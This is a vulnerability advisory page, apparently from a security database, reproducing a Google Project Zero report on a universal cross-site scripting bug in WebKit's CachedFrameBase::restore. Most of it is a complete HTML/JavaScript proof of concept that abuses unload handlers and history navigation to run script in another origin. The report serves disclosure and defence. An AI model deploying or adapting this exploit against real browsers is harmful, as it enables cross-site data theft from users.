WebKit CachedFrameBase::restore Universal Cross Site Scripting

🗓️ 01 Jun 2017 00:00:00Reported by Google Security ResearchType

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WebKit UXSS via CachedFrameBase::restor

` WebKit: UXSS via CachedFrameBase::restore   
  
  
  
  
This is similar to the case <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1151" title="" class="" rel="nofollow">https://bugs.chromium.org/p/project-zero/issues/detail?id=1151</a>.  
But this time, javascript handlers may be fired in FrameLoader::open.  
  
void FrameLoader::open(CachedFrameBase& cachedFrame)  
{  
...  
clear(document, true, true, cachedFrame.isMainFrame()); <<--------- prepareForDestruction which fires unloads events is called.  
...  
}  
  
PoC:  
<html>  
<body>  
Click anywhere...  
<script>  
  
function createURL(data, type = 'text/html') {  
return URL.createObjectURL(new Blob([data], {type: type}));  
}  
  
function navigate(w, url) {  
let a = w.document.createElement('a');  
a.href = url;  
a.click();  
}  
  
window.onclick = () => {  
window.w = open('about:blank', 'w', 'width=500, height=500');  
  
let i0 = w.document.body.appendChild(document.createElement('iframe'));  
let i1 = w.document.body.appendChild(document.createElement('iframe'));  
i0.contentWindow.onbeforeunload = () => {  
i0.contentWindow.onbeforeunload = null;  
  
navigate(w, 'about:blank');  
};  
  
navigate(i0.contentWindow, createURL(`  
<body>  
<script>  
</scrip` + 't></body>'));  
  
setTimeout(() => {  
let g = i0.contentDocument.body.appendChild(document.createElement('iframe'));  
let x = new g.contentWindow.XMLHttpRequest();  
x.onabort = () => {  
parseFloat('axfasdfasfdsfasfsfasdf');  
i0.contentDocument.write();  
  
navigate(w, '<a href="https://abc.xyz/');" title="" class="" rel="nofollow">https://abc.xyz/');</a>  
  
showModalDialog(createURL(`  
<script>  
let it = setInterval(() => {  
try {  
opener.w.document.x;  
} catch (e) {  
clearInterval(it);  
window.close();  
}  
}, 10);  
</scrip` + 't>'));  
  
setTimeout(() => {  
i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';  
navigate(i1.contentWindow, 'about:srcdoc');  
}, 10);  
};  
  
x.open('GET', createURL('x'.repeat(0x1000000)));  
x.send();  
w.history.go(-2);  
}, 200);  
};  
  
</script>  
</body>  
</html>  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

01 Jun 2017 00:00Current

7.4High risk

Vulners AI Score7.4